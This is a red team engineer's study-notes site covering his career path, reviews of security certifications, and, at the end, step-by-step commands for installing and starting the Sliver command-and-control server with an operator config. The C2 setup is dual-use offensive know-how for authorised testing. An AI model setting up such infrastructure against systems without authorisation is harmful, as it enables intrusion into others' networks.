# Introduction

Hello! My name is Nick and I am a Team Lead - Red Team Security Engineer

This repository will be a collection of data for different tools, study notes, and other misc. security things. The goal of this repo is to not only help refine my knowledge but also to remember those "I will definitely remember that command/tool/tip" thoughts while on an assessment.&#x20;

Hopefully this repo will not only help me, but others as well!&#x20;

***Certs**: CISSP | OSCP | CRTO | RTJC | PNPT | Cybernetics Pro Lab | CEH | RTAC | eWPT | Dante Pro Lab | eJPT | CCNP-S | CCNA | CMNA | Net + | A+*

***CVE**:* [*https://nvd.nist.gov/vuln/detail/CVE-2022-45472*](https://nvd.nist.gov/vuln/detail/CVE-2022-45472)


# My Journey to Pentesting

I am currently living out my dream on an offensive red team!&#x20;

This was one of the goals I wanted to achieve in life ever since I was a teenager. However, it was a long road to get here and this is how I did it. Towards the end of the article, I also give my two cents on how to get into the field. Its opinionated as we all start from different steps in life however, what I say is my own viewpoint from the things I have personally seen.&#x20;

## College

I graduated with a Bachelors of Science in ITAM - Cyber Security. I honestly struggled the first years of college since nothing peaked my interest. Biology was eh, statistics were not fun, and the list goes on. It wasn't until I joined my major until things took off. I realized I had a passion for cyber security and learned everything I could. I took a bunch of classes in cyber security methodologies, digital forensics, web development, offensive security w/ Kali, and more. My interest peaked and so did my grades. That was when I knew I wanted to work in the cyber security industry.&#x20;

## Internships

I currently was working for a company that created an internship just for me. It was an information technology internship that helped me gain some experience in the IT world. I mastered and deployed phishing tests using a software back in the day called Proofpoint. I taught and tested our employees with all different kinds of phishing attacks including ACH scams, social engineering, etc. I also helped write up a company policy on the physical security of the office. (Cameras, alarm systems, you name it.) \
\
This led to a second internship working in the cloud, specifically O365/Azure. A third party vendor recognized my efforts and offered me an internship with them after my first one has finished. \
Within that internship, I helped create an apps through Microsoft Power Apps automating a few processes regarding timecards / checking out equipment. I helped research/test/implement backup recovery management software that integrated with O365. Towards the end of the internship, I helped gather security data from Microsoft Secure score and implemented security policies through Azure. This lead to a O365 custom risk assessment that I created and submitted helping assess our security within our cloud infrastructure.&#x20;

## Engineering + Certs

While finishing school and completing an internship, I also studied on the side with what little time I had left for the CompTIA Net +. I ended up completing the internship, graduating college, and securing the Net + all within two weeks. While scrolling on LinkedIn for jobs, I saw that one of my old friends shared an IT engineering apprenticeship. I decided to reach out and apply, and after 3 interviews, secured the position! Within this apprenticeship I gained my SSCA, A+, and CCNA. I went through multiple classes as well with troubleshooting networking gear, PowerShell, python, active directory, and cabling. During this apprenticeship I learned a valuable amount of information about how a network works, how nodes can talk to each other, and the power of active directory. \
\
I graduated the apprenticeship and became a Network Security Engineer on our Cisco Implementation team. This position was crucial to my road to pentesting. I worked one on one with customers building their infrastructure from the ground up as well as working with other team members. Whether it was building a new firewall, implementing cisco security solutions, or even installing switches... we did it all. My focus was NGFW FTDs/FMCs, Duo (MFA), Umbrella, Secure Endpoint AV, Secure-X, Snort, cisco switches, routers, etc. The technologies / soft skills I learned from the position was priceless. I had excellent senior engineers that would help me when I hit a wall, a great boss that would listen to my struggles and help re-align my focuses, as well as great team members that no matter what time of the day it was would always come to each other's aid. Little did I know, working with customers day in and day out, building out their infrastructure in a screen share would increase my consulting skills as well. \
\
During this time, I also passed my CCNP Security. I took the core test first, then passed the firewall specialization test to secure the CCNP-S title. I also completed my CMNA and eJPT while in this position. (Reviews of certifications can be found under "Certification Reviews" within this site)\
\
I knew I wanted to transition into the offensive security world after being on the "blue team" for a while. I was active in a bunch of cyber security discords and actually met a person who recently had joined a company as a pentester. We talked for a bit and I told him my dream of getting to do offensive security. He linked me an application and told me to apply to the company he was working for. After a few rounds of interviews, I successfully managed to secure a position as a penetration tester / red team operator.&#x20;

## Ending Advice

My road to pentesting took years to get to but I didn't give up.&#x20;

My biggest piece of advice is to start small. Apply for an entry level positions! Go after that helpdesk job, become an IT technician, get any IT experience you can and you WILL move up. It may take some time, it might be a pay cut, it will be grinding for certs after hours, but it is worth it. That isn't the one and only route either... I have met several people that all had different paths; College, job experience, certifications, self-study, side projects, you name it!

I always thought of it this way. Cyber Security is all about securing a network, web app, or whatever. How are you supposed to know how to secure "\<Enter technology here>" when you don't even know the technology itself? How am I supposed to pivot to another network if I don't know the fundamentals of routing? How am I supposed to exploit a vulnerability within Active Directory when I don't even know what Active Directory is? It is important to learn these fundamentals to help gain an understanding of the basics before you can go to more advance topics. <br>

Thanks for reading and good luck on your own journey!\ <br>


# Certification Reviews

Useful Guidance for any of the certs I have completed / working on. My goal is to have a summary written up on each, useful commands, and tips on how to study for the specific certification.&#x20;


# OSEP Review

Currently Studying for Now


# CISSP Review

Coming Soon!


# OSCP Review

Coming Soon!


# RTJC Review

Coming Soon!


# RTAC Review

Coming Soon!


# CEH Review

## TLDR

First off, this review is going to be really biased. The only reason I took this certification was to meet a contract requirement that was mandatory for the current position I am in. I had a handful of certifications such as OSCP, CRTO, etc before I took this exam as well as experience as a penetration tester / security engineer / red teamer. I did not come into this certification being brand new to the industry (the certification is definitely more entry level). If you are reading this and interested in gaining a certification to jump into the offensive security world, there are a lot better ones. To name a few: Anything from TCM security, Offsec, Zero-Point Security, even CompTIA in my opinion has more traction. With that being said, CEH is well known and still asked about on a lot of applications. It is also a DoD8570 approved certification.&#x20;

## Study

Like I said above, my experience is different due to taking this certification later in my career for contract requirements. If you have a few years experience in cyber security, this test can be passed with just doing a bunch of online free flashcards. I used many different online flashcard sets to study for the test. Combined with being up to date on definitions for specific processes/attack vectors/protocols/applications (thank you flash cards) as well as my former experience, that is all I needed to do for my attempt.&#x20;

Now, if you are someone coming into the industry with almost zero -> zero knowledge, I would not recommend that path. You can check out EC-Councils OCG or buy the OCG book off amazon. EC-Council charges WAY too much money for the content they put out in my opinion, so paying thousands of dollars to take one of their "courses" for CEH is NOT worth it (Unless someone else, like a company, is paying for it). I'd recommend studying the OCG CEH book, studying flash cards, and doing online practice tests (or paid, BOSON is a nice paid test simulator). With that combined, you will be ready for the test!

## Exam

The exam is just your typical multiple choice question test (Not talking about the CEH Pratical). If you have done any CompTIA tests, it reminded me exactly of that. If you have put in the time to study the OCG, flashcards, practice tests, etc you will be fine :)

## Ending Thoughts

It took me about two weeks of cramming flash cards to pass this certification. There are a lot of better reviews out there for CEH so if you have read this and it doesn't help, please research and read some more! If you are interested in this certification to actually LEARN valuable information, please read the TLDR portion as there are a lot more certifications platforms that are more beneficial. If you are taking this certification to put on a resume or meet a contract requirement, goodluck with your studies/exam!


# CRTO Review

## Introduction

I started studying for the Certified Red Team Operator right after completing the PNPT. My goal was to dive not only deeper in AD, but to also learn / focus in Cobalt Strike as well. I have had some experience with cobalt strike before coming into this course, however I was still pretty new in understanding some of the basics such as profiles, masks, BOFs, etc. I have heard fantastic things about the CRTO and decided to give it a shot. The test and the course content did not disappoint!&#x20;

## Study Plan

The current study plan consisted of going over all the content and then hitting the labs to replicate what I have studied / taking notes on. Not going to lie, I was pretty lazy in terms of studying the first go around as things made sense while reading how to do a specific action however I didn't actually lab it up. Instead, I took notes on the whole course content and when I was done, I attempted the exam. I failed my first attempt due to the sole fact that my beacons were constantly being caught by AV. It was included in the course content on how to configure your profile as well as how to build your artifact/resource kits but because I never did lab anything up and prepare successfully, I ended up failing.&#x20;

The second go around I decided to take things way more seriously. I re-went over all the content, this time labbing up every single section in snaplabs. I constructed my custom profile as well as built out the artifact / resource kit ensuring that these templates worked on bypassing defender so I could use them on the test. One of my greatest recommendations is labbing up every module you learned as you study it. This in return gives a good outline of work and helps with the flow of studying. After re-hitting the labs (I think I used about 15 hours of lab time) I was ready to take the exam again.&#x20;

## Labs

Do the labs with the course content! Trust me, you will want to lab everything out because Rasta explains every concept in a good way however while trying to replicate some of his actions, I learned there was extra steps that were missing or I was personally messing some things up. You want to get this solidifed in the labs before doing this in the exam.&#x20;

## Exam

Since I won't talk about my first attempt due to the immediate failure, the second attempt's story I will talk about. The exam consists of 4 days to get 6/8 flags. I started my exam on a saturday. From the course content and all the labbing I did, I already had a working profile and knew how to build my two kits that would bypass defender. After loading everything up which took less than a hour, I got to work. I received about 4/8 flags in the first 3 hours. I was on a roll, but it came to an abrupt halt there is the fifth flag was troublesome for me specifically. I did so much enumeration, I knew how to get the sixth flag and what to do to get the fifth, however things were just not calling back correctly.&#x20;

At this point in time, I knew the exact section I was having trouble with. I replayed many of the situations taught in the module on what to do, but nothing was working. I spent hours and hours each day trying to figure it out, and barely did on the fourth day about 4 hours before my test was going to end. Once the fifth flag was captured, because my enumeration earlier on, I easily captured the sixth flag and officially passed the test. I did not go for flag 7 and 8, as I was so burnt out on getting stuck on the fifth flag by the time I was completed with six, my brain was mush. I put in about 10 hours saturday, 12 hours sunday, 12 hours (after 8 hours of actual work) monday, and finished out on tuesday after work.  I also realized after the exam due to the intensity of hours I was putting in, I totally forgot there was two other easily solutions on getting the fifth flag that totally bypassed my brain. From this exam, I learned taking breaks are a must! Exercising is as well! If I would have eaten better, taken more breaks and exercised more, I would have came refreshed and probably would have remembered one of the easily solutions that I was stuck on for flag 5.&#x20;

Another big issue that led to the incredible amount of burnout was that one mistake could cost your whole chain of beacons to die. This means anytime you made a mistake, you would have to start from square one on your initial beacon and work your way all the way back up to the beacon you previously crashed. Now here is the trick, sometimes defender would block your "working pivots" that you had previously did and switch it up. Without saying much so I DON'T break any NDAs from the exam, lets say you had a tool that worked originally with your initial pivot, but now it is getting blocked. You will have to try out another pivoting technique that could work or you have to restart the exam. I restarted the exam countless of times due to lateral movements working initially but not anymore after Defender was initiated on them. As well as this, I probably have gotten around 25-30 different beacon chain resets as one wrong lateral move and defender blows your whole beacon chain out of the water! With restarting again everytime as you can image, the burnout really becomes apparent.&#x20;

I was extremely greatful when I saw that last flag come through, knowing that I passed I could finally get a good night of sleep. :smile:

## Overview

Overall, the course content and labs were amazing and taught me alot more about cobalt strike and different red teaming techniques. The content was well explained, had pictures explaining the steps, and the labs helped portray the examples perfectly by recreating them in your own personal network.

The course was one of my favorites and even though the test was really challenging for me (That fifth flag specifically, the rest were textbook examples)  I felt like I learned a lot more than other certs I have taken.&#x20;

Positives:

* Awesome course content
* SnapLabs were pretty handy that goes hand and hand with course content
* More Video course content has been put over time helping explain contepts even better when I took the exam

Negatives:

* Exam platform crashed a few times while taking it, resulting in losing some beacons change. Unfortuantely that is just the environment being used and nothing could be done about it
* Since its just RastaMouse, the support system is lacking. Even though Rasta does well on responding to everything, its a lot of work for just one man and support can be a little bit tougher to receive

I highly recommend this cert for anyone interested in learning more about red teaming, specifically the C2 infastructure of cobalt strike, as well as some more AD knowledge.&#x20;


# PNPT Review

## Introduction

This exam overall was worth the price, effort, and time invested into it. If you are someone who is either new to pentesting or focused on getting some more AD pentesting knowledge, I would highly recommend this certification.&#x20;

## Study Plan

My study plan was overall simple though yours may be different. I went through the three courses apart of the PNPT bundle that was recommended to do before the test. I took notes and did all the labs plus I also went through the windows priv escalation course, skipping only the linux priv escalation. Now, I am coming at this test with previous pentesting experience and a few certs under my belt so everyone might be different in this regard. The course structure is built so you can definitely pass the test however if you feel weak on certain topics, go out and do some tryhackme or hacktheboxes. With this being said, I believe you can pass the test with just his coursework.&#x20;

## Exam&#x20;

The exam was 5 days long with 2 days to write the report. It was set up to test on OSINT of the external network and taking that information to get to the internal network. From there, you will need to pivot and hop from machines to finally get DA of the DC. The time given to do this is a good amount of time as it reflects a "quick" real world pentest. The exam went smoothly and I thought the internal infrastructure of the exam was really well built and easy to follow. In most real world cases, this would NOT be true however the exam was set up helps out newcomers alot, making paths easily to follow and to understand. I can't go into details because of obvious reasons but for anyone taking the exam, you will understand! Also, make sure to follow the scope as you can fail if going outside of it.&#x20;

## Report

TCM gives you a perfect report template to use. I went above and beyond to add in a couple more sections within the report like an attack path. I always highly recommend taking screenshots and creating an attack path throughout the test. Not only is this a great add to the report, but ended up helping me a lot on creating a PowerPoint for my debrief. I recommend just using the TCM report template as its easy to follow and edit. If you have other resources like Attack Forge that can help bust out a report in no time, for sure use that however I thought the TCM template given was plenty.&#x20;

## Debrief

Unlike most certifications, not only did this test require a report but also included a presentation to one of the staff members! Its a quick 15 minute meeting and the goal is to give your best debrief on how the pentest went and what were the most important findings. In real world scenarios, a debrief could last hours and hours with a customer so 15 minutes is very doable. (It actually made it harder for me personally to fit everything in that I wanted to talk about haha)&#x20;

## Overview

There were a lot of great things about this test. The course plan was set up well, lots of videos to help out people who need to visualize concepts to understand, as well as the support was awesome. I do have some personal negatives I would like to talk about however I wanted to make clear, these are based on my own opinion. Compared to other exams, TCM has been one of the best overall companies that I have dealt with and would definitely take another exam from them in the near future!&#x20;

#### Positives

Course was laid out perfectly. Super simple to follow, videos are always an added plus, and the labs were very engaging. I actually loved how this course went into creating your own AD lab as this could be a big step for newcomers. For me personally, my AD lab was all over the place so it was nice to scratch it and build a new one following Heath's steps. The support is great, didn't need to use them but I saw how much value they added in their discord and other programs. The exam was super stable and had no issues whatsoever connecting to it and all the machines within the network. The OSINT was a great add as well! OSINT is such a valuable skill to have the is not really recognized in the industry. I have seen very little certs test on it or even talk about OSINT, so I enjoyed that portion of the exam very much. This priv esclation courses were also informational and I learned a few techniques from there as well! Another thing to point out is the report / debrief. For me, it wasn't a benefit as I already have experience in the industry writing reports and debriefing. However, if I put myself into a newcomer's shoes, the experience gained from doing the report and debrief helps immensly to entry people. It helps give them a taste of what actual pentesting is and the procedure to lead to a successful engagement.&#x20;

#### Negatives

Now, for my small gripes :) This test is definitely focused for the beginner. Initially, I wanted to take this course because I wanted to increase my AD skills tenfold. I have heard and seen from others/marketing that this exam was focused more for newcomers however felt that the information within the exam could help teach me new things. It did in some categories like priv escalation in windows, however the main focus for taking this test was specifically for the AD portion. I already had experience on the job and have seen a lot of different AD pentesting techniques from dirkjan, hausec, and more but I was curious on what TCM had up their sleeve. When I got to the AD section, I was disappointed. The AD knowledge was perfect for a beginner but a waste of time for someone more intermediate or advanced. (Or really anyone with minimal experience with pentesting internal) A lot of the main topics/tools were mentioned however lacked greatly in detail. Two tools that immediately came to mind was cme and bloodhound. The videos showed how to install them and briefly talked about some basic functions with each one... but then left it at "Go play around with the tool and see what you can do!". I was really hoping for a lot more content as those tools are HUGE in the internal pentesting world and have so much functionality that was not even mentioned. Multiple topics like Kerberoasting and others were barely talked about with an example of one command to the concept and that was it. I was expecting a lot more content in regard to the AD section however was let down.&#x20;

Now for beginners, this is a ton of information right off the bat and how the test was made for the more entry person, I totally understand if this is the design they were going for. It was just disappointing to see the lack of content/knowledge being put out for these topics. It would be cool to see TCM put out a more advanced certification course that talked in depth of these concepts.&#x20;

(I am currently doing the CRTO course now and I highly recommend people take it to expand their AD knowledge. Even though it is C2 focused within CobaltStrike, the AD/Internal pentesting knowledge you learn in that course was more what I was hoping the PNPT would provide.)

## Summary

Overall, PNPT was an awesome course and I had a blast taking it. Like I said up above, if you are getting interested in Pentesting for a career, I highly recommend this course. If you are more intermediate / advanced, I still recommend this course for the content as I did learn some new techniques from it. (Especially from the windows priv esc course!)&#x20;


# eWPT Review

## Introduction

My name is Nick and I am currently a Penetration Tester / Red Team Operator. I had some experience coming into this cert from work as well as previous studies. I started studying for this cert right after completing the eJPT.

## Study Plan

My plan was similar to the eJPT. I studied the official INE course for the web app penetration tester certification. It took about 6 months of studying which was way longer than I wanted to finish it by. Work and other life events came into the way so my 3 month goal doubled to about 6 months. For this exam, I did in fact study a bit of extra resources. Portswigger has some awesome labs you can take that help expand knowledge on topics such as XSS, CSRF, XPath injection, etc. As this is not needed to pass the exam, if any topics are not clicking from the INE course, feel free to go to external resources. I used OWASP and Portswigger to further study on some topics I had trouble with. I also completed a few burp suite stand alone labs for clickjacking. However, the INE course is enough to pass the cert.&#x20;

To prepare for the report writing, I decided to use attack forge at first however switched to a more manual template. For my manual template, I used the Mayor's report template. It can be found here: <https://themayor.notion.site/themayor/Pentesting-Notes-9c46a29fdead4d1880c70bfafa8d453a>

Reason why I switched off of attack forge was because of customizability. I wanted my attack path to look a certain way and I couldn't figure out how to manipulate attack forge to make my attack path look the way I wanted. Hence, I switched to a more manual report which actually helped me gain experience of writing a full report vs filling in information and having a program automate a report.&#x20;

## Exam

First off, wow\... what a challenging exam! After connecting to the exam environment, you receive your scope of what to test. I fell into multiple rabbit holes and wasted hours of testing, realizing that the path I was going down was not the path to focus on. You get 1 week of access to the exam environment, then 1 week to write up a report. I started the exam on a Wednesday afternoon and submitted my report on Monday. I spent about 8 hours Wednesday, 4 hours Thursday, 12 hours Friday, and 8 hours Saturday until I reached my objective. I then spent about 4 hours collecting resources on Sunday and then about 5 hours Monday writing my report. Throughout the exam, I was collecting screenshots of vulnerabilities and collectively building my attack path. I highly recommend this route so you do not have to remember all the steps it took to get to the objective. It also helps immensely when it comes time to build your report.&#x20;

## Looking back at the exam

Like I said above, remember to screenshot findings and paths while testing in the exam. You WILL forget everything you have done and without screenshots, vulnerabilities might be missed. Something that helped me during the exam was I set up a nice folder structure within my kali instance. I had my scanning in one folder, automated tool usage in another, screenshots, attack path, etc. etc. I took screenshots of *everything*. Luckily I passed my first report submission however, if you submit your report after the 1 week pentesting allowance and do not pass the report submission, your whole baseline will be the screenshots you take and past terminal commands.&#x20;

EX. If I would have failed my first report submission, and lets say the grader wanted more specific  attack path steps, I would not be able to go back into the environment to collect more specific screenshots. I would be stuck with the screenshots I collected and past terminal output.&#x20;

This is why I highly recommend you take screenshots of everything. Yes, you may not use a lot of them, but it is good to take just in case.&#x20;

Other than that, make sure you take plenty of breaks, get some good sleep, and eat to help refresh your mind. In the previous review, I talked about how rabbit holes can be huge time wasters. Ensuring you take 10 minute breaks can help break you out of those holes by thinking differently on your approach and trying new techniques.&#x20;

Negatives of the course:

The one thing I do wish was changed is the learning structure. Yea, the information is good however it was truly death by PowerPoint. I think a huge improvement would be to spend more time on labs, have more interactive videos, and try to limit the PowerPoint slides. I would rather be engaged actively exploiting something than to me scrolling through slides and taking notes for hours and hours.&#x20;

## What this cert did for me

Even though the cert is pretty outdated, the topics are very much alive and thriving. The eJPT showed me that web app pentesting was one of my weaknesses. I still feel like I am weak on web app pentesting (hello imposter syndrome! ) however I have learned a ton of knowledge on different vulnerabilities, exploitation techniques, and remediations on a bunch of popular web app vulns. I strongly suggest this cert if you are interested in bug bounties or just need to improve on your "external" pentesting weeks :smile:.&#x20;

This cert specifically has helped me further understand different concepts from "here is how to trigger a XSS alert box" to "This is how I can take over this website just with a simple xss payload". If anyone is considering taking this exam, I would highly encourage you to do it!&#x20;


# eJPTv1 Review

Overall, not to bad :)&#x20;

This was one of the first offensive security certifications I went after. After a bunch of research, I realized this was the perfect fundamental / practical test that could get me into the offensive security world, and boy did it help.&#x20;

## Introduction

For context, I was currently a network and security engineer focusing on the implementation side of things. Before this exam, I held a bunch of networking certifications and had some experience in general IT as well as engineering. I also have a bachelors in Cyber security. SO, with that being said, I was not coming at this cert as an entry into IT. I had a degree, experience, and previous certs that helped me tremendously through this test. If you are coming at this test with no experience, no other certs, and currently getting a degree / no degree, it will definitely be more challenging for you than it was for me. This certification explains the fundamentals of offensive security and is a great entry into the security world. If you are going along the study plan and having trouble understanding some concepts, I highly recommend doing a few entry certs before this one such as any of the CompTIA fundamental certs like Sec + , A + , and Net +. However, I definitely believe that anyone could get this cert if they worked hard enough and spent enough time on the study material even with no prior experience.&#x20;

## Study Plan

I started studying for this test using the standard study modules from INE, the Penetration Testing Student course. While writing this, the eJPTv2 is coming out so it might change the whole exam, changing the recommended study plan.&#x20;

The INE PTS course is plenty enough to pass this exam. I have heard of people studying extra resources like portswigger for the XSS and SQLi parts of the course and even doing some THM boxes. This is definitely not needed to pass however definitely recommended if concepts aren't clicking. This test made me realize my weak parts of knowledge were with XSS and SQLi, hence why I went for the eWPT right after the eJPT which I will write another review for in another write up. I spent about 2 months studying the PTS course before I finished it. This was on top of a busy work schedule so I believe I could have went through the material in about 2 weeks if I was not working. Also, If you don't want to fork over the money to INE, get a copy of the course modules and self study those topics separately.&#x20;

TL|DR the PTS course is plenty to pass the exam.&#x20;

## Exam

I got about 15/20 questions answered on my first day. (Started the exam after work friday night at about 5 pm and ended about 11 pm) I took a few breaks during that time. I highly recommend this as every time I sat back down on my computer, my brain felt refreshed and remembered to try a few techniques I haven't done before. This also helps alot with getting stuck down rabit holes. Honestly, I think that is the hardest part of any practical test I have done is deciding when to move on and try something new. I woke up the next day around 7 am and didnt finish until saturday at about 12. There were only two questions I was lacking and ended up submitting the exam and guessing on the two. (At that point I knew passed and had some things I wanted to do saturday night and sunday, so I decided to submit the exam and say screw it lol) I ended up passing and got my voucher right then and there!&#x20;

## Looking back at the exam

Everything in the PTS course is important, study everything. If you are trying to speed rush this exam, definitely focus your time on the bigger parts (routing, SQLi, XSS, password cracking, enumeration techniques, metasploit, etc etc.) I wouldn't worry too much about the programming module. As this is important and I think everyone should go through this, if time is not an option and life is busy, you could skip that whole module and focus on modules 1 and 3 of the PTS instead. This exam helped me realize my weaknesses and I decided based off those weaknesses to focus more on web app pentesting. Even though the course was a bit outdated and the learning content was a bit dry, I would say as an entry practical offensive security cert, this is a perfect experience to go through. It truly helps you learn what you picked up from the PTS and what you struggled with. From there, you can focus on your weaknesses to sharpen your skills.&#x20;

## What this cert did for me

I was trying to transition into an offensive security role and this cert helped me secure a job. Now, like I said before, I was entry to pentesting / offensive security however NOT entry to the IT field. I had years of experience, a plethora of certs, and a degree w/ soft skills that truly helped secure my job. HOWEVER, the eJPT stood out as it showed I could learn the fundamentals of the field and that I wouldn't be starting my new adventure on ground zero. In my technical interview, it showed that I knew the basics of some hacking methodologies and in my opinion, was the cherry on top of securing the position.&#x20;

Now, if you are a student/just getting your degree, and you want to get into the offensive security world.... this certification will probably not secure you a offensive security job. (I say probably because anything is possible, but highly unlikely) You will need other things that help you stand apart from the rest. Mine was all that was listed above, but if you can't secure a job there are other things you can do. Bug bounties, gathering CVEs, more certs, side projects, etc etc. These will help stand out more and combined with the eJPT, help you have a one up on other candidates. One of the biggest misconceptions which I think is driven mainly by colleges/degree programs/bootcamps/certs is that cyber security roles are an entry field. While there are some positions that are entry like a level 1 SOC technician, usually roles in cyber security are not entry. Most likely you will need to put in the time as a help desk analyst, sysadmin, network admin, etc. before you can jump to a pentesting role, RTO, security consultant, security engineer, etc.&#x20;

TL|DR If you are getting this cert to find a job, realize that this shouldn't be the only thing you are doing to secure a position. Please read above for some advice that I have gained from other seniors above me in the fields.&#x20;

## Conclusion

Overall, I highly recommend this cert. With all that was said above, it did a lot for my career as well as knowledge gained. The only negatives I would have is that the course is a tad dry and the PowerPoints are pretty dated. With the new eJPTv2, I am hoping eLearn Security made the course a lot more interactive and updated some of the topics they had on the eJPTv1 :)&#x20;

Come join the unofficial eLearn Security discord to hang out with others studying ELS certs!

{% embed url="<https://discord.com/invite/XGVaBeapXQ>" %}


# CCNP Security Review

## Quick Review

This exam was tough! However, I learned a lot about the network security side that cisco provides as well as how to build/deploy/administer their firewall line. I did the SCOR and SNCF (Network Security Firepower) to obtain the CCNP-Security. Please see below for the resources I used to pass this certification. The CCNP-S concludes of two exams which I passed both after 8 months.

## Resources

For the SCOR, I went through the CBT Nuggets Video/Lab Course @ <https://www.cbtnuggets.com/home> It was hard to lab up things because the SCOR tests you on ALL Cisco security solutions. My best technique was to read Cisco Documentation and White Pages that reflect the exam objectives list.&#x20;

I also spammed Boson Practice Exams which helped tremendously. (Boson exams @ <https://www.boson.com/> )

For the SNCF, I completed the Todd Lammle Video Course @ <https://www.lammle.com/>&#x20;

After finishing the video course, I set up a FTD/FMC in my lab environment and configured different labs. I also studied Cisco White Pages as well as deployment guides to help pass the exam.

## Looking Back at the Exam

The SNCF was my favorite portion of the exam. It actually taught me valuable information about everything and anything Cisco FTD/FMC/ASA related. The SCOR was alright... the VPN topologies I learned within CBTNuggets was awesome however the SCOR seemed to be just a marketing exam. What I mean by marketing exam was it didn't feel like you were learning much other than what Cisco offers in their security stack. The test was a multiple question format that almost seemed like a vocab quiz of their security stack. I was hoping to learn how to implement a bunch of the technologies to an "entry level" however was greatly disappointed. \
With that being said, the resources were amazing. I highly recommend CBTNuggets for any learning platform as well as Todd Lammle's video courses.&#x20;


# CCNA Review

## Quick Review

Overall, I highly recommend this certification for any IT field and for anyone to go for. This certification has helped me in every field / path I have gone down in IT. Knowing general networking will be crucial in your success whether you are a developer, sys admin, engineer, etc.

## Resources

I used tons of study resources for this exam as it can be quite difficult since this is usually the "big first step" into the networking world. I read both official cert guides about two times over. They can be found and purchased on Amazon. (Just the standard certification books) Another book that helped with labbing was the CCNA Portable Command Guide Book. For labbing I used packet tracer since it was easier at the time then running GNS3 or Eve.&#x20;

I would also find labbing exercises for free in different community Discords... (Main Cisco study Discord that you can find me in @ <https://discord.gg/pXnTwgQFae> )

&#x20;Boson practice tests helped a ton too. Also Jeremy's IT Youtube videos helped me understand some concepts as well. Subnetting doesn't always click first go around. Spam YouTube videos until it clicks.

In order I would say the OCG, Boson, packet tracer labs, and other misc third party sources helped me in passing this cert

## Looking Back at the Exam

For me, the hardest part in studying for the CCNA was learning subnetting. It took a bunch of different videos / teachers for me to finally understand it. After it clicks, it is smooth sailing from there so many sure you spend a good amount of time studying subnetting as this is crucial to learn in all areas of IT. Also, make sure you lab, lab, and lab! When I passed the CCNA and jumped into doing projects as a network security engineer, I wished I labbed a LOT more. For me, some concepts do not stick well until I apply them in the real world. Labbing a lot more would have helped tremendously in the field.&#x20;

Biggest recommendation, get real familiar with the CLI and labbing out topologies! You will thank me later!

Overall, this exam was a perfect jump into networking. It really shows an employer that you know the fundamentals of networking and can be taught more advance topics. As well as this, it shows the employer you can do basic projects right off the bat whether its configuring access layer switches, adding vlans, etc etc.&#x20;


# CompTIA Net +, A+ Review

## Quick Review

Overall, the most fundamental certifications you can get while going to IT. If you are starting from nothing and want to get into IT, these certs can help you get familiarity with different topics.&#x20;

## Resources

For resources, the book is plenty enough to pass the course. I went beyond that and purchased the Boson practice tests that helped prepare me for the exam. But in reality, the official cert guide book is perfect to pass.

\*Also\* I did a bunch of flash cards online for memorizing different ports/topics

## Looking Back at the Exam

Great entry cert into the IT world. The beginning CompTIA certs (A+, Net+, Sec+) are essentially vocab tests that assess your knowledge with general different concepts.&#x20;

Specifically the A+ was definitely beginner friendly. It was your typical pre-help desk test. It tought a bunch of general concepts revolving the world of IT. When jumping into an IT field with zero experience, you will learn that people love to use acroynms. This test will help you prepare to understand what people are talking about when they say "The pdu went out" or "looks like port 445 is open".&#x20;

For the Net+, I actually feel like this was more challenging than the A+. You need to learn a bit of subnetting which is a harder/longer concept to understand. There was also basic routing that you needed to learn. Other than that, it was mostly memorization of different concepts and ports.&#x20;

Overall, these certs were great entries into IT! If you feel good with schooling, self studying, experience, or whatever you can definitely skip these certs and go for more specialized ones like the CCNA, eJPT, whatever :thumbsup:


# C2 and Payloads

Your go-to source for everything C2 related and payloads! From payload building steps, to specific aggressor scripts / BOFs, you can find it here!&#x20;


# Sliver C2

## Installation

1. Download the server application

$ wget <https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-server_linux.zip>

^ Whichever is the new release

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FLsmncOG0J0WiRCAgfq5X%2Fimage.png?alt=media\&token=3efca4f9-0b00-4da7-aa31-89e5696f6556)

2\. Unzip the file

$ unzip sliver-server\_linux.zip

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2Fb8qltrFag8aihhYxfv66%2Fimage.png?alt=media\&token=40fc61b5-795f-42ce-85b1-250af9e461db)

3\. Install the required Libraries

$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FbGDfe1Uc2jjuD7zuBIB0%2Fimage.png?alt=media\&token=0c7cfcc8-0a29-4bf6-80e5-71a3c488eecd)

4\. Run the application

$ sudo ./sliver-server

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FxSF2WK4AmIaI0vw8iZ6v%2Fimage.png?alt=media\&token=f2f93f52-759b-4c47-9c1d-9633c5006f63)

5\. Now we need to create a session for a player to connect, and then play the player database

$ new-player --operator brinkles --lhost 192.168.0.21

$ players

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FSsI0O1kQURbL0DyxXkJN%2Fimage.png?alt=media\&token=65717e4a-d37e-43be-bd0a-a746e5a6440f)

6\. The file .cfg created will need to be installed in the clients host, so save it for later! Lets start the Multiplayer mode.

$ multiplayer

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FKIwKmLl1B11DaZPgsf9v%2Fimage.png?alt=media\&token=6635ae0e-7fd8-4f9b-98cd-1c8ae609062e)

## Client

Download the client application

$ wget <https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-client_linux.zip>

![](https://1869523342-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fhm1D8gi3B6d9E2ORIBkC%2Fuploads%2FVp7qNjTwF11aYTd8P8Co%2Fimage.png?alt=media\&token=cc7a9d7e-6e6b-40cf-8840-0d404f7cf8fa)

Unzip the application

$ unzip sliver-client\_linux.zip

